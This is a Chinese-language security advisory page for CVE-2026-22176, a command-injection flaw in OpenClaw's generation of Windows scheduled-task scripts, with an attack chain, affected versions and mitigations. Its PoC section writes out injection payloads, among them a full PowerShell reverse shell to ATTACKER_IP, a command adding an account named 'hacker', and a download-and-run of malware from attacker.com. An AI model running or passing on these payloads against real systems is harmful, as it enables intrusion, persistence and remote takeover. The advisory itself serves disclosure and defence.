IPBUF安全漏洞报告
English
CVE-2026-22176 CVSS 6.1 中危

CVE-2026-22176 OpenClaw Windows计划任务命令注入漏洞

披露日期: 2026-03-19

漏洞信息

漏洞编号
CVE-2026-22176
漏洞类型
命令注入
CVSS评分
6.1 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

命令注入OpenClawWindows计划任务环境变量本地权限提升CVE-2026-22176脚本注入元字符注入

漏洞概述

OpenClaw是一款自动化部署和管理工具,在其Windows计划任务脚本生成功能中存在命令注入漏洞。漏洞源于环境变量在写入gateway.cmd文件时使用了未加引号的set KEY=VALUE格式,这种写法允许shell元字符突破赋值上下文进行命令注入。攻击者可以通过在环境变量值中嵌入元字符(如&、|、^、%、!等)来注入任意命令,当计划任务脚本被生成并执行时,恶意命令将以与OpenClaw服务相同的权限级别运行,从而实现本地权限提升和远程代码执行。该漏洞需要攻击者具有低权限用户身份,但无需用户交互即可触发,CVSS评分6.1,属于中等严重程度。

技术细节

漏洞根源在于OpenClaw在生成Windows计划任务脚本时,对环境变量的处理方式存在安全缺陷。具体表现为:程序使用类似"set KEY=VALUE"的形式将环境变量写入gateway.cmd脚本,其中VALUE部分未经过任何转义或引号包裹处理。由于Windows批处理脚本中&、|、^等字符具有特殊含义,当环境变量值包含这些字符时,攻击者可以打破set命令的赋值上下文,注入额外的命令执行。例如,如果环境变量值为"test&calc.exe",则生成的脚本会变成"set KEY=test&calc.exe",其中calc.exe将被执行。攻击者利用此漏洞可以执行任意系统命令,包括添加管理员账户、上传恶意软件或窃取敏感数据。成功利用需要攻击者能够控制目标系统上的环境变量值,这在多用户共享系统或容器环境中较为常见。

攻击链分析

STEP 1
步骤1
攻击者获得目标系统的低权限用户访问权限
STEP 2
步骤2
攻击者通过应用程序或系统配置将包含shell元字符的环境变量值注入到OpenClaw环境中
STEP 3
步骤3
OpenClaw在生成Windows计划任务脚本gateway.cmd时,将未转义的环境变量值直接写入脚本
STEP 4
步骤4
当计划任务触发执行时,注入的shell元字符使命令上下文被打破,攻击者注入的恶意命令得以执行
STEP 5
步骤5
攻击者以OpenClaw服务账户权限执行任意系统命令,实现权限提升和数据窃取

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # CVE-2026-22176 PoC - OpenClaw Command Injection # Environment variable injection via scheduled task script generation # Set malicious environment variable with command injection payload # The payload uses & to break out of set assignment and execute arbitrary command export MALICIOUS_VAR="test&calc.exe" # Alternative payloads: # Reverse shell: "test&powershell -c \"$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"" # Add user: "test&net user hacker P@ssw0rd123 /add" # Download and execute: "test&powershell -c \"Invoke-WebRequest -Uri 'http://attacker.com/malware.exe' -OutFile 'C:\\temp\\malware.exe'; Start-Process 'C:\\temp\\malware.exe'\"" echo '[+] PoC for CVE-2026-22176: OpenClaw Command Injection' echo '[*] Set malicious environment variable to trigger command injection' echo '[*] When OpenClaw generates scheduled task script, the injected command will execute'

影响范围

OpenClaw < 2026.2.19

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1)限制用户设置环境变量的权限,确保只有受信任的管理员才能配置系统环境变量;2)监控OpenClaw相关目录和计划任务的创建活动;3)使用应用程序白名单策略阻止未知程序的执行;4)在网络层面限制出站连接,防止攻击者建立反向shell;5)考虑暂时禁用OpenClaw的Windows计划任务集成功能,直到完成安全更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表